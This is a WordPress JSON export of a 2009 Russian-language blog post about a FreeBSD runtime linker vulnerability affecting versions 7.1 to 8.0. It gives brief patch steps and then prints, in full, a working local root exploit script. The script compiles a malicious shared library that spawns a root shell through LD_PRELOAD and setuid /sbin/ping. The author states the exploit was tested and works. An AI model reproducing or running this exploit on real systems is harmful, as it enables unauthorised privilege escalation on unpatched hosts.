{"id":523,"date":"2009-12-02T07:11:41","date_gmt":"2009-12-02T05:11:41","guid":{"rendered":"http:\/\/netspider.com.ua\/index.php\/2009\/12\/02\/opasnaya-uyazvimost-freebsd\/"},"modified":"2009-12-02T07:52:32","modified_gmt":"2009-12-02T05:52:32","slug":"opasnaya-uyazvimost-freebsd","status":"publish","type":"post","link":"https:\/\/netspider.com.ua\/index.php\/2009\/12\/02\/opasnaya-uyazvimost-freebsd\/","title":{"rendered":"\u041e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c FreeBSD"},"content":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/img.netspider.com.ua\/64.png\" alt=\"\" \/><\/p>\r\n\r\n<p>\u0412 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 FreeBSD <a href=\"https:\/\/permalink.gmane.org\/gmane.os.freebsd.announce\/478\" target=\"_blank\">\u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c<\/a>. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0432\u044b\u0448\u0435\u043b \u0432 \u043f\u0430\u0431\u043b\u0438\u043a \u0440\u0430\u043d\u044c\u0448\u0435, \u0447\u0435\u043c \u043f\u0430\u0442\u0447, \u0442\u0430\u043a \u0447\u0442\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0439\u0442\u0435 \/dev\/hands:<\/p>\r\n\r\n<blockquote><p>cd \/usr\/src\/libexec\/rtld-elf     <br \/>\r\nfetch <a href=\"https:\/\/people.freebsd.org\/~cperciva\/rtld.patch\">https:\/\/people.freebsd.org\/~cperciva\/rtld.patch<\/a> <br \/>\r\npatch &lt; rtld.patch      <br \/>\r\nmake &amp; make install<\/p><\/blockquote>\r\n\r\n<p>\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 7.1 \u0434\u043e 8.0.<\/p>\r\n\r\n<p>\u0421\u0430\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c.<\/p>\r\n\r\n<p><strong>\u0417\u042b<\/strong><\/p>\r\n\r\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442.<\/p>\r\n\r\n<p><strong>\u0417\u0417\u042b<\/strong><\/p>\r\n\r\n<p>\u0423 \u043c\u0435\u043d\u044f \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0443\u0441\u043e\u043a \u043a\u043e\u0434\u0430 \u0432\u0440\u0443\u0447\u043d\u0443\u044e. \u0414\u044b\u0440\u043a\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \ud83d\ude42<\/p>\r\n\r\n<p><!--more--><\/p>\r\n\r\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\n#!\/bin\/sh\r\necho ** FreeBSD local r00t zeroday\r\necho by Kingcope\r\necho November 2009\r\ncat &gt; env.c &lt;&lt; _EOF\r\n#include &lt;stdio.h&gt;\r\n\r\nmain() {\r\n        extern char **environ;\r\n        environ = (char**)malloc(8096);\r\n\r\n        environ&#x5B;0] = (char*)malloc(1024);\r\n        environ&#x5B;1] = (char*)malloc(1024);\r\n        strcpy(environ&#x5B;1], &quot;LD_PRELOAD=\/tmp\/w00t.so.1.0&quot;);\r\n\r\n        execl(&quot;\/sbin\/ping&quot;, &quot;ping&quot;, 0);\r\n}\r\n_EOF\r\ngcc env.c -o env\r\ncat &gt; program.c &lt;&lt; _EOF\r\n#include &lt;unistd.h&gt;\r\n#include &lt;stdio.h&gt;\r\n#include &lt;sys\/types.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n\r\nvoid _init() {\r\n        extern char **environ;\r\n        environ=NULL;\r\n        system(&quot;echo ALEX-ALEX;\/bin\/sh&quot;);\r\n}\r\n_EOF\r\ngcc -o program.o -c program.c -fPIC\r\ngcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles\r\ncp w00t.so.1.0 \/tmp\/w00t.so.1.0\r\n.\/env\r\n<\/pre>\r\n<br \/>\r\n<br \/>","protected":false},"excerpt":{"rendered":"\u0412 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 FreeBSD \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0432\u044b\u0448\u0435\u043b \u0432 \u043f\u0430\u0431\u043b\u0438\u043a \u0440\u0430\u043d\u044c\u0448\u0435, \u0447\u0435\u043c \u043f\u0430\u0442\u0447, \u0442\u0430\u043a \u0447\u0442\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0439\u0442\u0435 \/dev\/hands: cd \/usr\/src\/libexec\/rtld-elf fetch https:\/\/people.freebsd.org\/~cperciva\/rtld.patch patch &lt; rtld.patch make &amp; make install \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 7.1 \u0434\u043e 8.0. \u0421\u0430\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c. \u0417\u042b \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u0417\u0417\u042b \u0423 \u043c\u0435\u043d\u044f \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0443\u0441\u043e\u043a \u043a\u043e\u0434\u0430\u2026 <span class=\"read-more\"><a href=\"https:\/\/netspider.com.ua\/index.php\/2009\/12\/02\/opasnaya-uyazvimost-freebsd\/\">\u0427\u0438\u0442\u0430\u0442\u0438 \u0434\u0430\u043b\u0456 &raquo;<\/a><\/span>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[735,48,471,543,736,1796,550],"class_list":["post-523","post","type-post","status-publish","format-standard","hentry","category-main","tag-exploit","tag-freebsd","tag-patch","tag-root","tag-rootkit","tag-unix","tag-vzlom"],"_links":{"self":[{"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/posts\/523","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/comments?post=523"}],"version-history":[{"count":0,"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/posts\/523\/revisions"}],"wp:attachment":[{"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/media?parent=523"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/categories?post=523"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/tags?post=523"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}